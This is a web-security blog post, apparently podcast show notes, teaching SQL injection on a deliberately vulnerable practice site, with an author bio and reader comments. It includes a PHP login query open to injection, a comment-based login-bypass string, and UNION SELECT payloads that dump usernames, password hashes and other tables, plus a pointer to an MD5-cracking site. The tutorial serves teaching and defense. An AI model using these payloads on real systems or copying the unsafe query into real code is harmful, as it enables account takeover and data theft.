Hands On Series – SQL Injection Part 1

The start of the “Hands on Series”, which means that there are actual
hands on excersises to go along with these shows.

I feel that its time to go beyond the concepts, the chatter about what bad guys can do,
and actually show you directly. Let you see for yourself the saying goes.

I recommend that you listen to these episodes while viewing the hacking test site and
have the show notes visible and ready to cut and paste from.

Show Notes

Sample PHP code for authenticating a user during login

$sql = "SELECT * FROM accounts WHERE username='".$_GET['username']."' and password = '".md5($_GET['password'])."'";

If I enter admin for both the username and password the resulting sql statement would be as follows
SELECT * FROM accounts WHERE username='admin' and password = '21232f297a57a5a743894a0e4a801fc3'

If there is a record in accounts with both username and password as admin, then I will get logged in, otherwise the login will fail.

Thats all well and good, but there is a very critical problem.
The problem here resides in the fact that there is no validation on what the user inputs, but the input is used to create a SQL statement.

Lets take a look at the following SQL statement

SELECT * FROM accounts WHERE username='admin' /* and password = '21232f297a57a5a743894a0e4a801fc3 '

What would this statement result in?
First thing to notice is the /*

This is a comment delimiter in MySQL, which means anything following it is considered a comment and is ignored.
Another way to think about it is that the SQL Statement ends at this point.

So if there statement ends at the /* then the effective SQL statement is
SELECT * FROM accounts WHERE username='admin'

So when will this generate a valid result?

It will be valid if the username exists in the database, and if it does, then it will return that record.
This means it will log me in as the admin without need for discovering/guessing the password!!

Sounds good, how would I make the SQL statement look like that. Well try entering in this as your username
admin' /*
If you look again at the orignal SQL statement and insert this as the username you will see how it alters the SQL statement in a way that the statement is still valid in syntax but the symantic meaning has been altered to suit your needs. Here is what it will look like
SELECT * FROM accounts WHERE username='admin' /* ' and password = '21232f297a57a5a743894a0e4a801fc3'
Now isnt this cool?

Alright, now look at the source code. Theres a link to the source on the main page.

Notice that its displaying the username from the database query result.

This means we can see data from the database. So lets try using a UNION query to get arbitrary data from the database.
When using UNION queries there is a requirement that both sets of data share the exact same number of columns.
Since you dont know how many columns are being returned, we have to discover this information using this technique

How to solve over/under column problems

Start with one field using NULL as its value
admin' UNION SELECT NULL FROM accounts LIMIT 1,1 /*

This will result in an error “The used SELECT statements have a different number of columns”.
This is telling us that the two data sets do not having matching number of columns.

Add another NULL
admin' UNION SELECT NULL, NULL FROM accounts LIMIT 1,1 /*

Same error

and Add another NULL
admin' UNION SELECT NULL, NULL, NULL FROM accounts LIMIT 1,1 /*

No more error.

Now that we know how many columns we have to work with, lets concat in the data

In these we will get the account table records

admin' UNION SELECT NULL, concat(id, ' - ', username, ' - ', password) AS username, NULL FROM accounts LIMIT 1,1 /*
Notice the last field is the MD5 hash. Here is where the toolkit link to the MD5 hash database comes in handy http://www.md5decrypt.com/

Put in that md5 hash and if its a common password, you will get a result

Now lets get another user record by shifting the LIMIT to start on the next record

admin’ UNION SELECT NULL, concat(id, ‘ – ‘, username, ‘ – ‘, password) AS username, NULL FROM accounts LIMIT 2,1 /*

Now lets get data from an entirely different table

admin' UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 1,1 /*

admin' UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 2,1 /*

As you can see, once you have a SQL injection point you can gain access to a great deal of database information.

Last updated by at .

About Dan Kuykendall

Dan Kuykendall is the CTO and Co-CEO at NT OBJECTives. Dan is a founder of NT OBJECTives and has been with the company for more than 10 years. He is responsible for the strategic direction and development of products and services and works closely with technology partners to make sure integrations are both deep and valuable. As a result of Dan’s dedication to security, technology innovation and software development, NTO application security scanning software is often recognized as the most accurate because of its sophisticated automation techniques. Dan joined NT OBJECTives from Foundstone, where he was responsible for the portal interface to the company’s flagship product, FoundScan. Prior to Foundstone, Dan was the founder of the Information Security team in the United States branches of Fortis. Dan is a regular blogger on web application security issues on ManVsWebApp.com and co-hosts An Information Security Place Podcast. His has presented on the topics of mobile and application security at many of the top security industry conferences such as ISSA (2011), B-Sides (2012-2013), OWASP AppSecUSA (2012), HouSecCon (2010-2012), ToorCon (2013) and THOTCON (2013). Dan has been involved with Web Application Security Consortium and is a regular contributor to many open source development projects including founding the RPM Builder, phpGroupWare and podPress projects. Connect with Dan on Google+

4 thoughts on “Hands On Series – SQL Injection Part 1

  1. luis
    August 23, 2009 at 9:16 pm

    great job guys thanks alot

  2. Maadri
    February 14, 2010 at 7:10 am

    That’s really cool, it helped me a lot, thank you

  3. Asithaa
    July 21, 2010 at 2:06 am

    Thanks guys… Good one for bigeners.

  4. Fazz
    July 23, 2010 at 1:09 pm

    Dan,
    The hackme site (http://hackme.ntobjectives.com) has a problem with connecting to MySQL:

    Warning: mysql_connect() [function.mysql-connect]: Access denied for user ‘ms_hackme_logs’@'localhost’ (using password: YES) in /var/www/webscantest/hackme/header.php on line 123

    So, none of the rest of it worked :-( .

    Can you fix it?

    I really enjoyed the podcast, and tried to follow along.

    Thanks!
    -Fazz

Leave a Reply

Your email address will not be published. Required fields are marked *